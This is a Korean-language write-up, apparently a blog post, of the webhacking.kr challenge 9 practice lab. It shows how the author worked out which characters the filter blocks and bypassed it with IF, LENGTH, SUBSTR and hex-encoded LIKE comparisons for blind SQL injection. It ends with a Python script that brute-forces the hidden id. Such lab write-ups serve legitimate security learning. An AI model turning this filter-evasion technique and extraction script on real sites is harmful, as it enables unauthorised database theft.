컬럼이 id와 no이 있다는 것이다. 그리고 no 3의 id는 password라는 중요한 단서를 주어졌다.
위 정보를 활용하여 no 파라미터에 SQLi를 삽입하여 no 3의 id를 찾아보도록하겠다.
일단 필터링되는 문자를 찾아보도록 하겠다. 직접 값을 넣어보면서 확인해보니, ', 공백, Select, From, =, >, <, or, ||, and이 필터링되고 있었다.
나는 &가 필터링이 되어 있지 않아서, no=3&1=2를 시도하였지만 실패하였다.
&으로 문제풀이가 불가능해보여서, IF문을 이용하여 풀이를 진행하고자 하였다.
문제에 바로 사용하기 전 내가 생각한 쿼리문이 제대로 실행되는지 확인을 하였다.
해당 쿼리는 id의 길이가 4가 맞을 때 3을 출력 아니면 1을 출력하는 쿼리이지만, 어느 열의 데이터의 ID 길이를 검사할지 정하지 않아서 값이 IF문의 인자로 넣은 1과 3이 출력이 되었다.
그래서 아예 모든 ID 컬럼의 데이터 중에서 속하지 않은 조건을 넣었는데, 이 때는 1이 출력되었다.
나는 위 쿼리문이 내가 생각한 대로 작동을 안 했지만, 좀 더 다듬으면 원하는 대로 사용할 수 있을 것이라 생각이 들었다.
일단 나는 Length 함수에 어느 데이터을 사용할지를 정하지 않아도 맨 마지막 데이터 기준으로 값을 출력할 것이라 추측을 하였다. 이 부분은 맞았지만 출력값이 IF문에 인자값으로 넣은 값이 출력이 되는 것에서 잘못되었다.
하지만 만약 IF문의 False의 인자 값을 No에 없는 값을 넣으면 어떻게 작동하는지 궁금하였다.
IF문은 True일 때, True 인자와 False 인자를 반환하여 SELECT no FROM chall9 WHERE no=3 or no=1으로 된 것으로 추측되었다.
추측했던 것이 맞았는지 원하는대로 출력이 되었다.
문제 페이지에서도 잘 출력이 되었다.
알아낸 내용을 이용하여, 파이썬으로 ID의 길이와 값을 찾도록 하겠다.
import requests, string
from bs4 import BeautifulSoup as bs
def idLength(url:str):
for count in range(1, 100):
res = requests.get(url + f'IF(LENGTH(id)LIKE({count}),3,0)')
if 'Secret' in res.text:
print('ID의 길이 >>>', count)
return count
def idParser(url:str, length:int):
id = ''
for count in range(1, length+1):
for s in string.ascii_lowercase + string.digits + string.punctuation:
res = requests.get(url + f'IF(SUBSTR(id,{count},1)LIKE({hex(ord(s))}),3,0)')
if 'Secret' in res.text:
print(f'ID의 {count}번째 >>>', s)
id += s
break
return id
if __name__ == '__main__':
url = 'https://webhacking.kr/challenge/web-09/?no='
length = idLength(url)
print(idParser(url, length))